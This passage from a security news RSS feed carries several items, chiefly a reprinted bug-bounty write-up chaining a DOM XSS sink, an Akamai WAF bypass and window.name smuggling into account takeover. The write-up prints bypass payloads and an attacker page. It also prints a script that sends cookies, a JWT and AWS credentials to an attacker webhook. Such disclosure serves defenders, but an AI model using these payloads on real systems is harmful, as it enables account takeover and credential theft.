<p>Campaigns cost time in two places. The machine part: Mewt runs your test suite once per mutant, so the wall-clock cost is roughly the number of mutants times how long one test run takes, plus a rebuild if your project needs one. That is minutes on a small codebase and hours on a large one or a slow suite, so the cadence that works is nightly or weekly rather than per-commit. The human part: someone has to look at the survivors. We are working on that front from several directions at Trail of Bits, including our <a href="https://github.com/trailofbits/skills/tree/main/plugins/mutation-testing">mutation-testing skill</a> that helps configure campaigns for your project, and <a href="https://blog.trailofbits.com/2026/04/23/trailmark-turns-code-into-graphs/">Trailmark</a> with its <code>genotoxic</code> triage skill. None of these understand DAML yet, but the direction is clear: given the right harness and tools, the time-consuming parts of a campaign can be handed to AI agents. The effort is modest and the payoff is concrete: each genuine survivor is a specific test you can write, and every test you add makes your suite enforce one more guarantee your contracts are supposed to make.</p>
<p>Also on the roadmap: choice-consumption mutations (<code>consuming</code> vs <code>nonconsuming</code>) sit cleanly on top of the controller-mutation scaffolding and target a bug class Mewt does not yet reach.</p>
<h2>Dive in</h2>
<p>Install Mewt from the <a href="https://github.com/trailofbits/mewt">repository</a>, point a <code>mewt.toml</code> at your project and its test command, and <code>mewt run</code>. The quickstart in the README covers the rest. DAML works out of the box. Everything here ran on Daml 3.4 with <code>dpm</code>, but Mewt just drives whatever test command you configure, so Daml 2 projects using the <code>daml</code> assistant work the same way.</p>
<p>Mutation testing complements the rest of your security stack, the type checkers, linters, and property tests you already run, rather than replacing any of it.</p>
<p>If you’re building on Canton, we help teams with security reviews of DAML applications and with the way the code gets built: working directly with your engineers on the development process itself. <a href="https://www.trailofbits.com/contact/">Contact us</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Build a serverless image editing agent with Amazon Bedrock AgentCore harness]]></title>
<description><![CDATA[This post walks through building a serverless image editor where users upload a photo, describe an edit in plain English, and receive the result in seconds. The agent runs on AgentCore harness without custom orchestration code. We deploy the full solution, including authentication, encrypted stor...]]></description>
<link>https://tsecurity.de/de/3652283/ai-nachrichten/build-a-serverless-image-editing-agent-with-amazon-bedrock-agentcore-harness/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3652283/ai-nachrichten/build-a-serverless-image-editing-agent-with-amazon-bedrock-agentcore-harness/</guid>
<pubDate>Tue, 07 Jul 2026 19:03:26 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[This post walks through building a serverless image editor where users upload a photo, describe an edit in plain English, and receive the result in seconds. The agent runs on AgentCore harness without custom orchestration code. We deploy the full solution, including authentication, encrypted storage, three image editing tools, and a React frontend, with a single deployment command. The infrastructure is defined using AWS Cloud Development Kit (AWS CDK).]]></content:encoded>
</item>
<item>
<title><![CDATA[June 2026: Gemini APIs with Swift, GA hybrid inference on web, and more Firebase updates!]]></title>
<description><![CDATA[Author: Firebase - Bewertung: 3x - Views:33 Hear the latest updates across Firebase for June 2026, including the preview of Gemini cloud models in Apple's Foundation Models framework, AI Logic and Firestore Pipelines upgrades, and much more. 

Chapters:
0:00 - Gemini in Apple's Foundation Models ...]]></description>
<link>https://tsecurity.de/de/3652104/it-security-video/june-2026-gemini-apis-with-swift-ga-hybrid-inference-on-web-and-more-firebase-updates/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3652104/it-security-video/june-2026-gemini-apis-with-swift-ga-hybrid-inference-on-web-and-more-firebase-updates/</guid>
<pubDate>Tue, 07 Jul 2026 18:19:08 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Firebase - Bewertung: 3x - Views:33 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/cVX97Bw3UtY?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>Hear the latest updates across Firebase for June 2026, including the preview of Gemini cloud models in Apple's Foundation Models framework, AI Logic and Firestore Pipelines upgrades, and much more. <br />
<br />
Chapters:<br />
0:00 - Gemini in Apple's Foundation Models framework<br />
0:54 - More AI Logic upgrades<br />
1:48 - New agent skills<br />
2:18 - Node.js runtimes<br />
2:58 - Firestore pipelines<br />
3:38 - Firebase ML deprecation<br />
<br />
Resources:<br />
Gemini in Apple's Foundation Models framework → https://goo.gle/4oZDcjV <br />
Bringing Gemini to Apple's Foundation Models API → https://goo.gle/3TmyzVj<br />
<br />
More AI Logic upgrades:<br />
Migrate from Imagen to a Gemini Image model ("Nano Banana") → https://goo.gle/4gmveiR <br />
Remotely change the model name in your app → https://goo.gle/4p57a66<br />
A/B testing in Remote Config → https://goo.gle/4fdUs1F <br />
<br />
New agent skills:<br />
Get started with Firebase SQL Connect using AI agents → https://bit.ly/4eSeu0d <br />
Firebase-crashlytics → https://goo.gle/3R9FyQV <br />
Firebase-remote-config-basics →  https://goo.gle/4oWkQQW <br />
<br />
Node.js runtimes → https://goo.gle/3QLDbnh <br />
<br />
Firestore pipelines → https://goo.gle/3Tcbm8g <br />
Live text search with Firestore pipelines and React → https://goo.gle/4vAe1Hg <br />
<br />
Firebase ML deprecation → https://goo.gle/4blpulP  <br />
<br />
Migrate TensorFlow Lite models from Firebase ML to Cloud Storage → https://goo.gle/4eEsGey <br />
<br />
<br />
#Firebase<br />
<br />
Watch more Firebase Release Notes → https://goo.gle/firebase-release-notes<br />
Subscribe to Firebase → https://goo.gle/Firebase<br />
<br />
Speaker: Jeff Huleatt<br />
Products Mentioned: Firebase, Firebase A/B Testing,,  Firebase Crashlytics, Gemini<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[An agent in the empty chair: Amazon vets launch Primitive Labs, using AI to model customer behavior]]></title>
<description><![CDATA[Founded by former Amazon AGI and AWS colleagues and backed by a16z Speedrun, Primitive Labs is building AI agents that stand in for a company's customers, letting product teams see how people will react to a new feature or design before it ships.
 Read More]]></description>
<link>https://tsecurity.de/de/3651648/it-nachrichten/an-agent-in-the-empty-chair-amazon-vets-launch-primitive-labs-using-ai-to-model-customer-behavior/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3651648/it-nachrichten/an-agent-in-the-empty-chair-amazon-vets-launch-primitive-labs-using-ai-to-model-customer-behavior/</guid>
<pubDate>Tue, 07 Jul 2026 15:18:30 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<img width="1260" height="895" src="https://cdn.geekwire.com/wp-content/uploads/2026/07/primitive-labs-1260x895.png" class="webfeedsFeaturedVisual wp-post-image" alt="" decoding="async" fetchpriority="high" srcset="https://cdn.geekwire.com/wp-content/uploads/2026/07/primitive-labs-1260x895.png 1260w, https://cdn.geekwire.com/wp-content/uploads/2026/07/primitive-labs-768x546.png 768w, https://cdn.geekwire.com/wp-content/uploads/2026/07/primitive-labs-1536x1091.png 1536w, https://cdn.geekwire.com/wp-content/uploads/2026/07/primitive-labs.png 2000w" sizes="(max-width: 1260px) 100vw, 1260px"><br>Founded by former Amazon AGI and AWS colleagues and backed by a16z Speedrun, Primitive Labs is building AI agents that stand in for a company's customers, letting product teams see how people will react to a new feature or design before it ships.
 <a href="https://www.geekwire.com/2026/an-agent-in-the-empty-chair-amazon-vets-launch-primitive-labs-using-ai-to-model-customer-behavior/">Read More</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[Chaining a DOM XSS Sink, WAF Bypass, Cross-Origin Smuggling, and SDK Abuse into One Click Account…]]></title>
<description><![CDATA[Chaining a DOM XSS Sink, WAF Bypass, Cross-Origin Smuggling, and SDK Abuse into One Click Account TakeoverThere’s a browser property called window.name that’s easy to overlook because it behaves differently from what most browser state does, it persists across navigations. Whatever you set it to ...]]></description>
<link>https://tsecurity.de/de/3651408/hacking/chaining-a-dom-xss-sink-waf-bypass-cross-origin-smuggling-and-sdk-abuse-into-one-click-account/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3651408/hacking/chaining-a-dom-xss-sink-waf-bypass-cross-origin-smuggling-and-sdk-abuse-into-one-click-account/</guid>
<pubDate>Tue, 07 Jul 2026 13:54:50 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h3>Chaining a DOM XSS Sink, WAF Bypass, Cross-Origin Smuggling, and SDK Abuse into One Click Account Takeover</h3><blockquote>There’s a browser property called <strong>window.name</strong> that’s easy to overlook because it behaves differently from what most browser state does, it persists across navigations. Whatever you set it to on your own page arrives intact in the next origin the tab visits, and if that origin evaluates it as code, you never had to put your payload in a URL at all. That’s the part Akamai never saw, and honestly one of the cleanest bypasses I’ve come across</blockquote><p>I’ve been hunting on this large platform’s bug bounty program on HackerOne for a while. They have a broad wildcard scope and run Akamai in front of everything meaningful. That combination produces a specific kind of bug: the sink is usually there, the WAF is usually in the way, and the interesting question is always whether you can thread the payload through the gap between them.</p><p>This writeup is about a chain that took four independent defects to complete: <em>a DOM XSS</em> sink with no scheme validation, an <em>Akamai WAF </em>rule with a structural flaw, the <em>window.name property</em>’s unusual cross-origin behavior, and a first-party <em>authentication SDK</em> that hands over signed credentials to whoever executes JavaScript in its origin. Any one of those four things is a bug report on its own. Together they were a one-click account takeover that handed me the victim’s signed JWT and live AWS STS credentials in two separate AWS accounts.</p><h3>1. Finding the Sink</h3><p>I was reading the application’s JavaScript bundles looking for <strong>open redirect sinks</strong>, anything that consumes a URL parameter and passes it directly to location.assign, location.replace, or location.href. The error-page component stood out immediately.</p><p>The application handles a set of named error conditions, clock drift, filter failures, auth service timeouts, with a shared React component that renders a user-facing message and an action button. The button’s onClick handler reads a <strong>backURL query parameter </strong>and calls <strong>window.location.assign</strong> on it. Here’s the relevant function from the minified production bundle:</p><pre>A = function(e){<br>var r = e.id, t = (0, k.zy)(), n = new URLSearchParams(t.search);<br>function o(e){<br>e.preventDefault();<br>var r = n.get("backURL");<br>("Reload Page" !== f &amp;&amp; "Please try again." !== f) || !r<br>? window.location.assign(g || t.pathname)<br>: window.location.assign(r); // no validation<br>}<br>var s = O.$D[r], u = s.img, d = s.title, p = s.description, f = s.action, g = s.linkText;<br>return …&lt;button onClick={o}&gt;{f}&lt;/button&gt;…;<br>}</pre><p>window.location.assign executes a javascript: URL synchronously in the calling document’s origin. There is no scheme check, no host check, no sanitization. The only gate is that the button’s action label must be “<em>Reload Page</em>” or “<em>Please try again.</em>”, determined by the error type in the URL path, for the dangerous branch to run.</p><p>The cleanest entry point was an error path whose rendered button reads <em>“Reload Page”</em> and presents itself as a routine timing error. Nothing suspicious about the URL bar. It’s a real application domain throughout.</p><p>The sink is there. The problem is getting a javascript: payload through Akamai.</p><h3>2. The Wall</h3><p>Akamai’s WAF sits in front of the application. Send backURL=javascript:alert(1) and you get HTTP 403. Expected. The interesting question is what the rule actually looks like.</p><p>I started mapping it <strong>systematically</strong>, every encoding trick I knew:</p><pre>javascript:alert(1) → 403<br>javascript:alert%28%29 → 403 (percent-encoded parens)<br>javascript:%2528%2529 → 403 (double-encoded)<br>javascript:eval(name) → 403<br>javascript:Function(name)() → 403<br>javascript:setTimeout(name) → 403<br>javascript:[].constructor.constructor(name)() → 403<br>javascript:({}).valueOf.constructor(name)() → 403<br>javascript:new Function(name)() → 403<br>javascript:document.body.innerHTML=… → 403<br>javascript:location='https://…' → 403<br>javascript:alert(1) → 403 (unicode escapes)<br>java%E2%80%8Bscript:alert(1) → 403 (zero-width space)<br>java%C0%80script:alert(1) → 403 (overlong UTF-8)</pre><p>Getter tricks, backtick calls, throw expressions. All 403. After about eighty probes I stopped trying variants and started looking at the data differently. I wrote down what every blocked payload had in common, and separately what every passing payload had in common.</p><p>The passing ones:</p><pre>javascript:top[name](1) → 200<br>javascript:[name].forEach(top[name]) → 200<br>javascript:Promise.resolve(name).then(top[name]) → 200<br>javascript:Reflect.apply(top[name],null,[1]) → 200</pre><p>Every blocked payload had a JavaScript keyword sitting directly adjacent to an opening parenthesis. alert(, eval(, Function(, setTimeout(. Every passing payload had some non-whitespace token between the keyword and the paren. Akamai’s rule appeared to be a regex matching keyword immediately followed by a paren, with optional whitespace in between. Insert anything else between the keyword and the call and the rule never fires.</p><h3>3. The Payload</h3><p>The winning payload was :</p><pre>javascript:top["setTimeout"](name)</pre><p><em>top[“setTimeout”] </em>is property-access syntax. Akamai sees no keyword adjacent to a paren, so the request passes with HTTP 200. The browser resolves top[“setTimeout”] to window.setTimeout. Then it calls it with window.name as the argument. setTimeout with a string argument evaluates that string as JavaScript, same behavior as eval, without the word eval appearing anywhere in the URL.</p><p>What makes this composable is what <strong>window.name</strong> actually is. It’s a per-tab string property that survives cross-origin navigation. When a user follows a link from attacker.example.com to the target application, the tab’s window.name carries over. It’s not governed by the same-origin policy. It belongs to the tab, not the document. So I set window.name to any JavaScript I want on my own page, then redirect the user to the vulnerable error URL. The payload is never in the URL, never inspected by Akamai. The URL contains only the harmless-looking dispatcher.</p><p>The attacker page is four lines:</p><pre>&lt;!DOCTYPE html&gt;<br>&lt;html&gt;&lt;body&gt;<br>&lt;script&gt;<br>window.name = "alert('XSS in ' + document.domain)";<br>location.href =<br>"https://app.[target].com/[feature]/error/clock-sync"<br>+ "?backURL=javascript:top%5B%22setTimeout%22%5D(name)";<br>&lt;/script&gt;<br>&lt;/body&gt;&lt;/html&gt;</pre><p>Victim lands on the attacker page, gets redirected to a real application URL, sees a <em>“Time Sync Error”</em> page with a Reload Page button, and <strong>clicks it</strong>. JavaScript executes in the target origin. Confirmed from a live run:</p><pre>[XSS-FIRED] alert: XSS in app.[target].com cookie=[session]=…</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/912/1*_osiOoYxPpI6pOCZ1NMMxw.png"></figure><h3>4. The SDK</h3><p>Arbitrary code execution in the target origin is already a serious finding. But the application loads something that turns it into a much bigger problem.</p><p>Every page on this platform loads two SDK bundles from the platform’s own CDN. Together they install a global authentication object on the window with 21 methods. The ones that matter here:</p><pre>[platform].core.iam.getAuthSession() // full session metadata + profile<br>[platform].core.iam.getJWTToken() // signed platform JWT<br>[platform].core.iam.getTempAWSCreds(domain) // live AWS STS temporary credentials<br>[platform].core.iam.getCatapultId() // Cognito identity pool ID</pre><p>These methods make credentialed XHR calls back to the platform’s IAM endpoints with credentials included. The browser attaches the session cookie to those requests automatically, even if the cookie is HttpOnly. The SDK functions return the IAM responses directly to the calling JavaScript.</p><p><strong>The SDK is the cookie.</strong> You don’t need to read document.cookie. You call getTempAWSCreds() and it comes back with an access key ID, a secret, and a session token. The platform exposes two different AWS domains to standard user accounts. Two separate AWS accounts.</p><h3>5. The Chain</h3><p>The payload that runs inside the target origin once window.name is evaluated:</p><pre>(async function() {<br>var h = 'https://[ATTACKER-WEBHOOK]';<br>var send = function(label, data) {<br>return fetch(h, {<br>method: 'POST', mode: 'no-cors',<br>headers: {'Content-Type': 'text/plain'},<br>body: JSON.stringify({ label: label, origin: document.domain, cookies: document.cookie, data: data })<br>});<br>};<br>await send('handshake', 'fired in ' + document.domain);<br>var s = [platform].core.iam.getAuthSession();<br>await send('session', s);<br>await send('jwt', await [platform].core.iam.getJWTToken());<br>await send('aws_a', await [platform].core.iam.getTempAWSCreds('[aws-domain-a]'));<br>await send('aws_b', await [platform].core.iam.getTempAWSCreds('[aws-domain-b]'));<br>}());</pre><p>The attacker page that delivers it. The payload above is serialized into window.name as a plain string, then the victim is redirected. Since window.name persists across navigations, it arrives intact in the target origin where setTimeout evaluates it.</p><pre>&lt;!DOCTYPE html&gt;<br>&lt;html&gt;&lt;body&gt;<br>&lt;script&gt;<br>window.name = "(async function(){ /* payload above */ }())";<br>location.href =<br>"https://app.[target].com/[feature]/error/clock-sync"<br>+ "?backURL=javascript:top%5B%22setTimeout%22%5D(name)";<br>&lt;/script&gt;<br>&lt;/body&gt;&lt;/html&gt;</pre><p>I ran this against my own test account. Nine POSTs <strong>hit the webhook</strong> in 8 seconds.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Poy5ue-iFeXbfYJI-5IQag.png"></figure><p>The session object came back with the <strong>full profile</strong>: first name, username, account namespace, account type, plus a session UUID. <strong>The JWT</strong> was 1488 characters, RS256, signed by the platform’s auth service, accepted as bearer credentials at every platform API for roughly 15 minutes. Its decoded payload included the victim’s legal name, email, home address, graduation date, and cohort year, all regulated education records, potentially belonging to a minor.</p><p>Then <strong>the AWS credentials</strong>. The first set resolved to a named user IAM role in one AWS account. The second set, confirmed by a different key ID prefix and a distinct account identifier in the token metadata, came from a completely separate AWS account. Both arrived from a single javascript: URL, via a button labeled <em>“Reload Page,”</em> on a page that looked entirely legitimate.</p><h3>6. Four Bugs, Not One</h3><p>The chain works because four things fail at the same time, each independently.</p><p>The first is the <strong>sink</strong> itself. The error page reads backURL from the query string and passes it directly to window.location.assign without checking the scheme. The fix is straightforward: parse the value with new URL() and reject anything whose protocol field isn’t https. That one change kills the entire chain regardless of what the WAF does or doesn’t do.</p><p>The second is the <strong>WAF rule.</strong> Akamai’s pattern matches a keyword directly adjacent to an opening paren. It has no awareness of property-access syntax, so top[“setTimeout”], where the keyword appears inside a string accessed via bracket notation, doesn’t trigger it. A rule that rejects any request URL whose scheme is javascript: outright, regardless of the surrounding syntax, would close this. But as I found over eighty probes, a regex-based keyword-paren rule has a structural hole.</p><p>The third is <strong>window.name</strong>. This is documented browser behavior. window.name is intentionally cross-origin, a design decision from before postMessage existed, when developers needed a way to pass data across frames. There’s no browser-level fix for this. The only mitigation is making sure the application sink isn’t exploitable in the first place, because once the sink is gone there’s nothing for the smuggling channel to deliver to.</p><p>The fourth is the <strong>auth SDK</strong>. When a platform loads authentication logic as a global object on every page, any XSS anywhere in its wildcard scope becomes a full credential theft, not just a session hijack. Cookie flags are irrelevant when the SDK makes credentialed requests on your behalf and returns the credentials directly to the executing script. The payload sitting in window.name, all 1896 characters of it, never appeared in the request that passed through Akamai. The URL that did pass through was clean.</p><h3>Takeways</h3><p>The useful thing was not the string.</p><p>The useful thing was the model.</p><blockquote>When every encoding trick returns 403, probing more variants is usually the wrong level of work. <strong>Model the rule</strong>. The key observation was not “this payload works.” It was “the blocked payloads all have keyword-call adjacency, and the passing payloads all break that adjacency.”</blockquote><p>window.name remains worth keeping in mind for javascript URL sinks because it separates transport from payload. The WAF sees the dispatcher. The tab carries the code.</p><p>Global auth SDKs change XSS severity. If the page exposes methods that mint JWTs, temporary AWS credentials, signed API requests, or profile objects, the question is no longer only “can I steal the cookie?” The better question is what the platform already exposes to JavaScript after login.</p><p>The reload button did exactly what the developers asked it to do. It reloaded the user toward a URL from the query string.</p><p>The browser supplied the rest.</p><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=6c1a7095f8e1" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/chaining-a-dom-xss-sink-waf-bypass-cross-origin-smuggling-and-sdk-abuse-into-one-click-account-6c1a7095f8e1">Chaining a DOM XSS Sink, WAF Bypass, Cross-Origin Smuggling, and SDK Abuse into One Click Account…</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[AI isn’t closing the skills gap — it’s exposing the validation gap]]></title>
<description><![CDATA[If you wanted to become a basketball star, how would you get started? You wouldn’t read a book on basketball and take an online course. You’d set up a hoop in your driveway, join a local team to train, and play in real matches. So why do we expect cybersecurity professionals to learn their skills...]]></description>
<link>https://tsecurity.de/de/3648262/it-security-nachrichten/ai-isnt-closing-the-skills-gap-its-exposing-the-validation-gap/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3648262/it-security-nachrichten/ai-isnt-closing-the-skills-gap-its-exposing-the-validation-gap/</guid>
<pubDate>Mon, 06 Jul 2026 11:10:12 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>If you wanted to become a basketball star, how would you get started? You wouldn’t read a book on basketball and take an online course. You’d set up a hoop in your driveway, join a local team to train, and play in real matches. So why do we expect cybersecurity professionals to learn their skills from theory and static training?</p>



<p>The cybersecurity industry talks constantly about the “skills gap.” The recent World Economic Forum’s <a href="https://www.weforum.org/publications/global-cybersecurity-outlook-2026/digest/">Global Cybersecurity Outlook report</a> revealed skills and budgets were significant blockers to achieving cyber resilience. However, I argue that we don’t have a skills gap; we have a <em>validation </em>gap.</p>



<p>The “skills gap” gets a lot of airtime in cybersecurity industry discourse, but what are we really talking about <a href="https://www.csoonline.com/article/4137580/7-factors-impacting-the-cyber-skills-gap.html">when we talk about a skills gap</a>? It’s not about staffing; how can we have both a skills gap<em> and</em> a graduate unemployment problem? “AI” is the lazy explanation (is there anything anyone hates more than hearing that their job could be replaced by AI?) But if AI really is the explanation, why are we still experiencing breaches and fixating on a supposed lack of skills in the cybersecurity workforce?</p>



<p>The reality is that we don’t yet fully trust AI with our most critical security concerns, and for good reason. Few people would dispute that there are serious production risks in relying on AI and most wouldn’t actually use it to replace an experienced security analyst. While comparatively fewer organizations have reported serious breaches of AI models or applications, many are favoring rapid-scale deployments of AI technologies over establishing robust governance structures. Data from IBM suggests that, of 600 organizations polled globally between March 2024 and February 2025, 13% reported breaches of AI models or applications. More worrisome, 8% had no idea whether or not they had been compromised, and 63% of breached organizations either lacked AI governance policies or were developing them at the time of the reported incident. Despite these risks — and the significant financial damage they can cause — only 49% of organizations planned to invest in additional security measures in 2025, compared to 63% in 2024.</p>



<p>You can’t hire or tool your way out of the skills gap. You have to build your way out. The industry keeps asking, “How do we close the cyber skills gap?” The better question is, how do we prove readiness before the fight begins? That is the real challenge emerging in cybersecurity today.</p>



<p>This is more challenging when we need skills and expertise that just don’t exist yet. AI poses new threats to combat, from the development of more insecure software to the exploitation of models to do things they weren’t designed for to attackers weaponizing AI for more efficient attacks. No one was preparing to respond to these threats five years ago, so these skills need to be developed in real time. Even the most advanced training programs cannot hope to match the pace and scale of the vulnerabilities posed by AI and the increasingly broad attack surface it presents to potential threat actors. Relying on outdated training modalities is practically an invitation to attackers seeking to compromise critical systems, yet many organizations <a href="https://www.csoonline.com/article/4108270/cybersecurity-skills-matter-more-than-headcount-in-the-ai-era.html?_hsmi=397380584">fail to recognize this as the systemic vulnerability</a> it is.</p>



<p>Traditional upskilling is flawed and wholly impractical for the present risk environment. Organizations are shelling out tens of thousands per employee on courses, certifications, and boot camps, but certifications simply cannot keep up with the pace of technological change and the evolution of attacker tactics and techniques. Security professionals need continuous hands-on experience that represents the actual attack surfaces of their organizations. How they apply their skills in real-world scenarios is a big part of what’s missing; even the most rigorous theoretical exercises cannot replicate the experience of combatting an intrusion event in real time or identify potential weaknesses in SOC response protocols.</p>



<p>Our industry has traditionally seen technology as the answer. More tools and more alerts feel like we’re getting somewhere, but all it really leads to is teams that are fatigued and burned out on noise. When the main source of breaches remains human failure, we’re not going to tip the scales unless we invest in the people on the front line. Dynamic cyber ranges are the difference between learning a skill in theory and learning it in context<em>.</em></p>



<p>A truly effective upskilling cyber range needs an AI Proving Ground, with a high degree of customization and fidelity, as well as in-depth post-exercise analysis, to nurture and retain effective talent with the skills and experience to combat increasingly sophisticated threats.</p>



<ul class="wp-block-list">
<li><strong>High degree of customization. </strong>Replicate your real production environment and tech stack and introduce panic-inducing live-fire exercises. This gives employees invaluable insight into how they’ll react in a real-life scenario. Does everyone have the right context and information to make quick decisions that will protect the business? Replicating a real production environment also allows for testing integration flows between security and IT tools to validate how they work together.</li>



<li><strong>Post-exercise analysis.</strong> It’s not enough to run tests if you can’t analyze the outcomes to make improvements. This data is also particularly useful as execs are pushing for tech consolidation by proving the need to retain budget or secure additional resources for tools and features. Cyber ranges can also make detailed recommendations based on best practices and support and identify specific business cases for additional investment.</li>



<li><strong>Nurture talent.</strong> How do you take a tier 1 SOC analyst and turn them into a tier 3? While AI might be able to perform the role of a junior analyst, you need a pipeline of talent to become that high-performing individual who could be the difference between spotting an unusual indicator of compromise or allowing an attacker to gain further access into critical systems. It’s faster and more cost-effective to teach someone over time than hunt out the top performer to hire into the organization. Nurturing and investing in existing talent also becomes a <a href="https://www.csoonline.com/article/4117799/skills-cisos-need-to-master-in-2026.html">significant competitive advantage over time</a>.</li>
</ul>



<p>For overstretched teams, on-the-job training might feel onerous, but the benefits are considerable. You really can see 10X returns on your investment. Some of our customers have saved upward of $400,000 in training expenses and made their organizations significantly more resilient to novel threats. The key is to not see practical, hands-on training as an annual event or one-off investment, but to employ a continuous platform that accurately reflects the risks faced by your organization and becomes part of your operating model and broader security culture.</p>



<p>I don’t know about you, but working in a team environment feels far more rewarding than studying in a classroom environment. Retain your top talent by validating their skills and allowing them to add to their resumes in a way that feels natural and instinctive.</p>



<p><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><strong><a href="https://www.cio.com/expert-contributor-network/">Want to join?</a></strong></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[AdversaryGraph v5.0: From CTI Mapping to Attack Simulation and SIEM Validation]]></title>
<description><![CDATA[A self-hosted CTI-to-detection workbench for ATT&CK mapping, IOC investigation, malware analysis, asset attack-surface mapping, attack simulation, and detection engineering validation.IntroductionAdversaryGraph started as a practical question:How can a security team move from threat intelligence ...]]></description>
<link>https://tsecurity.de/de/3646308/hacking/adversarygraph-v50-from-cti-mapping-to-attack-simulation-and-siem-validation/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3646308/hacking/adversarygraph-v50-from-cti-mapping-to-attack-simulation-and-siem-validation/</guid>
<pubDate>Sun, 05 Jul 2026 08:22:34 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h4><em>A self-hosted CTI-to-detection workbench for ATT&amp;CK mapping, IOC investigation, malware analysis, asset attack-surface mapping, attack simulation, and detection engineering validation.</em></h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pE4s-eX1wFWMUOsnozr16w.png"></figure><h3>Introduction</h3><p>AdversaryGraph started as a practical question:</p><p><strong>How can a security team move from threat intelligence to detection engineering without losing the evidence trail?</strong></p><p>Most CTI workflows produce useful text, but the next steps are often manual. An analyst reads a report, extracts behaviors, maps them to MITRE ATT&amp;CK, compares them with known actors, enriches IOCs, writes detection ideas, and then asks a detection engineer to validate whether telemetry actually exists in the SIEM.</p><p>That gap is where a lot of defensive work slows down.</p><p>AdversaryGraph v5.0 is my attempt to make that workflow more operational. It is not only a CTI visualization project. It is a self-hosted analyst workbench that connects:</p><ul><li><strong>Report and telemetry analysis.</strong></li><li><strong>ATT&amp;CK technique mapping.</strong></li><li><strong>Group, campaign, and report similarity.</strong></li><li><strong>IOC enrichment and investigation.</strong></li><li><strong>Malware analysis workflows.</strong></li><li><strong>Asset attack-surface mapping.</strong></li><li><strong>Attack simulation.</strong></li><li><strong>SIEM forwarding and validation.</strong></li><li><strong>Analyst-ready documentation and reports.</strong></li></ul><p>The main addition in release 5.0 is <strong>Attack Simulation</strong>: a controlled ATT&amp;CK validation workspace where an analyst can select a technique, run approved lab scenarios, inspect target-side telemetry, forward logs to a SIEM collector, and use an AI assistant to generate coherent multi-phase attack-chain drills.</p><p>This article explains what is new in v5.0, how the architecture works, what the platform can do today, and how I expect analysts and detection engineers to use it.</p><p>Project links:</p><ul><li>Project landing page: <a href="https://1200km.com/adversarygraph/">https://1200km.com/adversarygraph/</a></li><li>Documentation: <a href="https://1200km.com/adversarygraph-docs/">https://1200km.com/adversarygraph-docs/</a></li><li>GitHub: <a href="https://github.com/anpa1200/adversarygraph">https://github.com/anpa1200/adversarygraph</a></li><li>Release v5.0.0: <a href="https://github.com/anpa1200/adversarygraph/releases/tag/v5.0.0">https://github.com/anpa1200/adversarygraph/releases/tag/v5.0.0</a></li></ul><h3>Table of Contents</h3><ul><li><a href="https://infosecwriteups.com/adversarygraph-v5-0-from-cti-mapping-to-attack-simulation-and-siem-validation-21873b2a6c39#e399"><strong>Getting Started</strong></a></li><li><a href="https://infosecwriteups.com/adversarygraph-v5-0-from-cti-mapping-to-attack-simulation-and-siem-validation-21873b2a6c39#cea9"><strong>The Problem: CTI Often Stops Before Validation</strong></a></li><li><a href="https://infosecwriteups.com/adversarygraph-v5-0-from-cti-mapping-to-attack-simulation-and-siem-validation-21873b2a6c39#dfa8"><strong>What AdversaryGraph Is</strong></a></li><li><a href="https://infosecwriteups.com/adversarygraph-v5-0-from-cti-mapping-to-attack-simulation-and-siem-validation-21873b2a6c39#cb81"><strong>Core Capabilities Before v5.0</strong></a></li><li><a href="https://infosecwriteups.com/adversarygraph-v5-0-from-cti-mapping-to-attack-simulation-and-siem-validation-21873b2a6c39#873f"><strong>What Is New in v5.0</strong></a></li><li><a href="https://infosecwriteups.com/adversarygraph-v5-0-from-cti-mapping-to-attack-simulation-and-siem-validation-21873b2a6c39#bca9"><strong>TTP-First Simulation Workflow</strong></a></li><li><a href="https://infosecwriteups.com/adversarygraph-v5-0-from-cti-mapping-to-attack-simulation-and-siem-validation-21873b2a6c39#b2a4"><strong>Real Lab Telemetry for Web Scenarios</strong></a></li><li><a href="https://infosecwriteups.com/adversarygraph-v5-0-from-cti-mapping-to-attack-simulation-and-siem-validation-21873b2a6c39#251c"><strong>SIEM Forwarding</strong></a></li><li><a href="https://infosecwriteups.com/adversarygraph-v5-0-from-cti-mapping-to-attack-simulation-and-siem-validation-21873b2a6c39#a5cc"><strong>AI Attack Assistant</strong></a></li><li><a 